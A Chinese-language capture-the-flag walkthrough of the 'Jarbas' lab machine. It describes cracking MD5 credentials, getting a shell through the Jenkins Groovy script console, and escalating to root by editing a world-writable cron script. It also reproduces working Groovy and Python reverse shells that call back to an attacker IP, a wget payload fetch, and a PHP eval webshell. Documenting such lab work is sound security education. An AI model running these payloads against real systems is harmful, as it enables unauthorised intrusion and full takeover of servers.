vulhub jarbas walkthrough
0x01 端口扫描
主机发现:

全端口扫描:


udp并无有效信息
详细信息扫描:

扫到8080是jetty 9.4.z-snapshot:用于java web的servlet容器(类似tomcat)
脚本扫描:

扫到8080的robots.txt,大致确定本机主要考察web渗透
0x02 web渗透

80应该是个买东西的网页?有注册、查找功能,查找功能无效

8080好像是jenkins的后台登录,jenkins好像是一个集成的开发平台,不是cms
我选择从80入手,目录爆破:


给了三个creds,还说加密很安全

全是md5,解密:


拿凭据第一件事先尝试ssh:

失败
回到主站,发现页面显示逻辑好像是通过f参数确定:


没测出idor和注入,但是在该页面发现登录和文件上传功能,且上传功能要先登录
尝试用刚获取的凭据登录:

登录功能需要的是邮箱,只能转去尝试注册了:

查看源码发现注册功能根本不能用

登录功能确实可用,思路断了
只能转去看8080了,目录爆破的同时尝试用刚刚的凭据登录:

只有eder的凭据登录成功,目录爆破毫无结果,直接开始后台的渗透:
Jenkins后台渗透

在“脚本命令行”功能中发现可以运行命令,提示说使用Groovy语法,google出简单语法,发现可以执行:


这里尝试了常规的rce使用的bash反弹,失败,甚至无法执行bash等shell命令,存疑!
常规rce反弹失败,直接从(https://forum.ywhack.com/shell.php)生成Groovy语法的反弹shell:


1 2 3 4 5 6 7 8 9 10 11
| String host="10.10.10.128"; int port=9999; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|

拿到立足点jenkins用户的shell
0x03 提权
初步信息探查:

自动任务枚举:

有root运行的自动任务,且文件有777权限
不知道为什么起不了交互shell,只能用重定向的方法把反弹shell语句写入自动任务脚本了:


拿到root flag
0x04 总结
- 端口扫描:80 web服务、8080 Jenkins后台、22 ssh、3306 mysql
- web渗透:从80隐藏页面拿到Jenkins登录凭据,使用Jenkins的脚本命令行实现getshell(其余多种攻击手法见下文)
- 提权:存在root身份的777权限的自动任务,修改后弹出root shell
0x05 Jenkins攻击向量总结
尝试拿配置文件

脚本命令行
- 简单命令执行(注意该语句不可执行反弹shell):
1
| "whoami".execute().text;
|

- 修改文件:
以本靶机来说,在用上述简单命令执行语句发现系统存在自动任务提权时,即可通过直接在此处修改任务文件一步get rootshell

1 2
| java.nio.file.Files.write(java.nio.file.Paths.get("/etc/script/CleaningScript.sh"), "\nbbb".getBytes(), java.nio.file.StandardOpenOption.APPEND); "cat /etc/script/CleaningScript.sh".execute().text;
|
将APPEND替换为TRUNCATE_EXISTING可不用追加,直接覆盖
- 创建新文件(写马):

1
| new File("/var/www/html/shell.php").write('<?php @eval($_POST[cmd]);?>');
|
有写权限时即可写入
- 反弹shell:
使用groovy语句反弹shell:
1 2 3 4 5 6 7 8 9 10 11
| String host="10.10.10.128"; int port=9999; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
wget python文件反弹shell:
写python反弹脚本,wget到tmp下,再执行即可
1 2 3 4 5 6 7 8 9 10
|
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.10.128",9999)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
|
1 2 3
| "wget http://10.10.10.128:80/2.py -P /tmp/".execute().text; "cat /tmp/2.py".execute().text ;
|

去掉注释符执行,拿到shell:

新建任务






公开漏洞利用

还有一个之前刚冲浪看到的新的CVE2024的RCE
参考文章
# 知其一不知其二之Jenkins Hacking
# Jenkins 漏洞利用